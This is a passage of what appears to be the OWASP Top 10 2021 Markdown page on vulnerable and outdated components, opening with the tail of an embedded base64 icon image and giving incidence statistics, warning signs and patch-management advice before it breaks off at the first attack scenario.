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){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 3 | 27.96% | 8.77% | 51.78% | 22.47% | 5.00 | 5.00 | 30,457 | 0 |
## Overview
It was #2 from the Top 10 community survey but also had enough data to make the
Top 10 via data. Vulnerable Components are a known issue that we
struggle to test and assess risk and is the only category to not have
any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploits/impact
weight of 5.0 is used. Notable CWEs included are *CWE-1104: Use of
Unmaintained Third-Party Components* and the two CWEs from Top 10 2013
and 2017.
## Description
You are likely vulnerable:
- If you do not know the versions of all components you use (both
client-side and server-side). This includes components you directly
use as well as nested dependencies.
- If the software is vulnerable, unsupported, or out of date. This
includes the OS, web/application server, database management system
(DBMS), applications, APIs and all components, runtime environments,
and libraries.
- If you do not scan for vulnerabilities regularly and subscribe to
security bulletins related to the components you use.
- If you do not fix or upgrade the underlying platform, frameworks,
and dependencies in a risk-based, timely fashion. This commonly
happens in environments when patching is a monthly or quarterly task
under change control, leaving organizations open to days or months
of unnecessary exposure to fixed vulnerabilities.
- If software developers do not test the compatibility of updated,
upgraded, or patched libraries.
- If you do not secure the components’ configurations (see
[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration.md)).
## How to Prevent
There should be a patch management process in place to:
- Remove unused dependencies, unnecessary features, components, files,
and documentation.
- Continuously inventory the versions of both client-side and
server-side components (e.g., frameworks, libraries) and their
dependencies using tools like versions, OWASP Dependency Check,
retire.js, etc. Continuously monitor sources like Common Vulnerability and
Exposures (CVE) and National Vulnerability Database (NVD) for
vulnerabilities in the components. Use software composition analysis
tools to automate the process. Subscribe to email alerts for
security vulnerabilities related to components you use.
- Only obtain components from official sources over secure links.
Prefer signed packages to reduce the chance of including a modified,
malicious component (See A08:2021-Software and Data Integrity
Failures).
- Monitor for libraries and components that are unmaintained or do not
create security patches for older versions. If patching is not
possible, consider deploying a virtual patch to monitor, detect, or
protect against the discovered issue.
Every organization must ensure an ongoing plan for monitoring, triaging,
and applying updates or configuration changes for the lifetime of the
application or portfolio.
## Example Attack Scenarios
**Scenario #1:** Components typically run with the same privileges as
the application itself, so flaws in any component can result in serious
